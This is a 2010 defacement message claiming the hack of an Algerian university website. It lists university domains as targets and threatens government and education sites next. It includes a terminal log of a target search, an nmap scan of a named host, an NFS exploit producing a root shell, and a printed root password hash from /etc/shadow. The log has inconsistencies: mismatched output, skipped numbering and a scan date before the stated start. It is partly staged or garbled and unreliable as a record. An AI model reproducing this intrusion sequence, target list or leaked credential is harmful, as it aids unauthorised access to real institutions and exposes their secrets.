salamli 3la shab el jami3a Bzaf ;)

YOUR UNIV OWEND

By hArD & CmOs Defacer algeria !

WHO IS THE NEXT ? univ-*.dz ! * .gov.dz ! *.edu.dz !

mail : anti.univ@gmail.com

history : Start ! DATE: 13/04/2010 TIME: 00:13

sec-ever:~# ./exploit-gog -n univ+.dz -w www.google.dz  -s dzayar-univ.txt
[+] Connecting ~~~~~~~> www.google.dz
[+] sending [~~~~~~~~~~~~~~~~~] < univ+.dz
[+] caming [~~~~~~~~~~~~~~~~~] > dzayar-univ.txt
[+] ok 
sec-ever:~# dir
exploit-gog exploit-yah exploit-bin dzayar-univ.txt
sec-ever:~# cat dzayar-univ.txt
01 : localhost
02 : http://www.univ-alger.dz/
03 : http://www.univ-oran.dz/
04 : http://www.univ-biskra.dz/
05 : http://www.univ-setif.dz/
06 : http://www.univ-batna.dz/
07 : http://www.univ-sba.dz/
08 : http://www.univ-usto.dz/
09 : http://www.univ-emir.dz/
10 : http://www.univ-tlemcen.dz/
11 : http://www.univ-msila.dz/
12 : http://www.univ-blida.dz/
13 : http://www.univ-guelma.dz/
14 : http://www.univ-saida.dz/
15 : http://www.univ-jijel.dz/
16 : http://www.univ-bejaia.dz/
17 : http://www.univ-skikda.dz/
18 : http://www.univ-mosta.dz/
19 : http://www.univ-chlef.dz/
20 : http://www.univ-chlef.dz/
21 : http://www.univ-tiaret.dz/
22 : http://www.univ-oeb.dz/
23 : http://www.univ-mascara.dz/
24 : http://www.univ-eloued.dz/
25 : http://www.univdz.net/
26 : http://www.univdz.net/
27 : http://www.univ-tebessa.dz/
28 : http://www.univ-medea.dz/
29 : http://www.univ-bba.dz/
30 : http://www.univ-alger.dz/
31 : http://www.univdz.net/
32 : http://www.univ-bechar.dz/
33 : http://www.univ-msila.dz/
34 : http://www.univ-tiaret.dz/
35 : http://www.univadrar.org/
36 : http://www.univ-msila.dz/
37 : http://www.univ-emir.dz/
38 : http://www.univdz.net/
39 : http://www.univ-biskra.dz/
40 : http://www.univ-medea.dz/
50 : http://univ-djelfa.dz/
sec-ever:~# head -n10 dzayar-univ.txt
10 : http://www.univ-tlemcen.dz/
sec-ever:~#cd ../exploit
sec-ever:~#dir
win-ex vsftpd-ex r00t-r00t httpd-exploit nfs-ex
sec-ever:~#nmap -A -T4 www.univ-tlemcen.dz
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2010-04-12 21:04 CEST
Interesting ports on seminaire.univ-tlemcen.dz (193.194.92.53):
Not shown: 1674 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.5
80/tcp open http Apache httpd
111/tcp open rpcbind 2 (rpc #100000)
666/tcp open ssh OpenSSH 4.3p2 Debian 9etch3 (protocol 2.0)
937/tcp open mountd 1-3 (rpc #100005)
2049/tcp open nfs 2-4 (rpc #100003)
sec-ever:~#./rpc-w -h www.univ-tlemcen.dz -p 937
exploit faild !
sec-ever:~#./rpc-w -h www.univ-tlemcen.dz -p 2049 -x SHELL -g /bin/bash -i
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~> exploit ok
[+] nfs 2-4 port:2049 is open Wait ~~~~~~~~~>
[+] SHELL=/bin/bash -i
bash: no job control in this shell
www:/#env
OLDPWD=/
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/
LANG=C
PS1=\h:\w\$
SHLVL=8
_=/usr/bin/env
www:/# pcinfo -p
 program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 4 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100021 1 udp 32768 nlockmgr
100021 3 udp 32768 nlockmgr
100021 4 udp 32768 nlockmgr
100021 1 tcp 53255 nlockmgr
100021 3 tcp 53255 nlockmgr
100021 4 tcp 53255 nlockmgr
100005 1 udp 934 mountd
100005 1 tcp 937 mountd
100005 2 udp 934 mountd
100005 2 tcp 937 mountd
100005 3 udp 934 mountd
100005 3 tcp 937 mountd
100024 1 udp 32770 status
100024 1 tcp 47277 status
www:/#id
uid=0(root) gid=0(root) groups=33(www-data)
www:/# uname -a
Linux www 2.6.18-6-686 #1 SMP Tue May 5 00:40:20 UTC 2009 i686 GNU/Linux
www:/# su
id
uid=0(root) gid=0(root) groupes=0(root)
head -n1 /etc/shadow
root:$1$ksAPxwJD$PPcv8wj77oFZ4gV9MrmZW0:14235:0:99999:7:::
www:/# HI MASTER (univ-tlemcen.dz) is down !

history : Stop !